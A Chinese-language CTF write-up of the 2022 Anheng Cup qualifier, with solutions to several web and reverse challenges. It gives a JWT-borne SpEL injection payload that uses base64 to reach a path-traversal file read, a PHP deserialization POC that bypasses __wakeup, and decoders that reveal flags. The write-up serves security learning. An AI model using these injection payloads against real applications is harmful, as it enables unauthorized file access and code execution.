前言:安恒杯 ctf 2022初赛,简单记录下,时间有限就做了3道web和2道reverse
web-测一测
签到题,直接访问index.php.bak即可拿到flag
web-lander
考点是jwt配合spel表达式注入,用到的依赖有如下几个
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-api</artifactId>
<version>0.11.2</version>
</dependency>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-impl</artifactId>
<version>0.11.2</version>
</dependency>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-jackson</artifactId>
<version>0.11.2</version>
</dependency>
因为这边是通过com.ctf.lander.Utils.OtherUtils).FileRead文件读取的
默认是读取的是/tmp目录下,flag是在根目录下,所以要进行跳转,而这边spel执行之前是有过滤条件的
所以这边的话就需要base64解码拼接来进行执行spel表达式,构造payload如下即可拿到flag
JwtBuilder jwtBuilder = Jwts.builder().setId("'+new String(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('Li4vZmxhZw=='))+'").setSubject("zpchcbd").setIssuedAt(new Date()).signWith(SignatureAlgorithm.HS256, CyberUtils.Md5());
System.out.println(jwtBuilder.compact());
web-ezphp2
考点就是正常的反序列化,然后加上__wakeup方法进行绕过,因为是php 7.3,所以加一个分号即可绕过
$bb = new B();
$bb->c = "/flag";
$aa = new A($bb);
// echo urlencode(serialize($aa));
echo serialize($aa);
poc:O:1:"A":1:{s:1:"a";O:1:"B":3:{s:1:"c";s:5:"/flag";s:4:"what";N;s:4:"haha";N;};}
reverse-RevShift
enc = open("encoded", "r", encoding="utf-8")
buf = enc.read()
# print(ord(buf))
for c in buf:
# print(binascii.b2a_hex(c))
# print(hex(c))
print(chr(ord(c)>>7), end="")
print(chr(ord(c)-(ord(c)>>7<<7)), end="")
reverse-ReContract
合约的题目,这边给了个文本,其中[******]替换为806040就能反编译出完整的代码
608060405234801561001057600080fd5b50600436106100575760003560e01c80633c9d377d1461005c5780639942ec6f146100df578063aaf05f3d14610162578063c27fc305146101e5578063c3f9020214610268575b600080fd5b6100646102eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a4578082015181840152602081019050610089565b50505050905090810190601f1680156100d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6100e7610328565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012757808201518184015260208101905061010c565b50505050905090810190601f1680156101545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61016a610365565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101aa57808201518184015260208101905061018f565b50505050905090810190601f1680156101d75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ed6103a2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561022d578082015181840152602081019050610212565b50505050905090810190601f16801561025a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102706103df565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102b0578082015181840152602081019050610295565b50505050905090810190601f1680156102dd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60606040518060400160405280600a81526020017f31735f46756e4e792e7d00000000000000000000000000000000000000000000815250905090565b60606040518060400160405280600a81526020017f443363306d70316c655f00000000000000000000000000000000000000000000815250905090565b60606040518060400160405280600f81526020017f536d3472745f43306e74724063745f0000000000000000000000000000000000815250905090565b60606040518060400160405280600781526020017f4441534354467b00000000000000000000000000000000000000000000000000815250905090565b60606040518060400160405280600a81526020017f4279746563306465355f0000000000000000000000000000000000000000000081525090509056fea2646970667358221220b4e3654719276c8a35f2afaa4a783cbd1bad80977030e25c33d8b18d8fb6974f64736f6c63430006040033
其中主要看这五段调用情况的就可以了,通过bytes.fromhex直接转成字节的形式即可获得flag
然后通过拼凑即可拿到完整的flag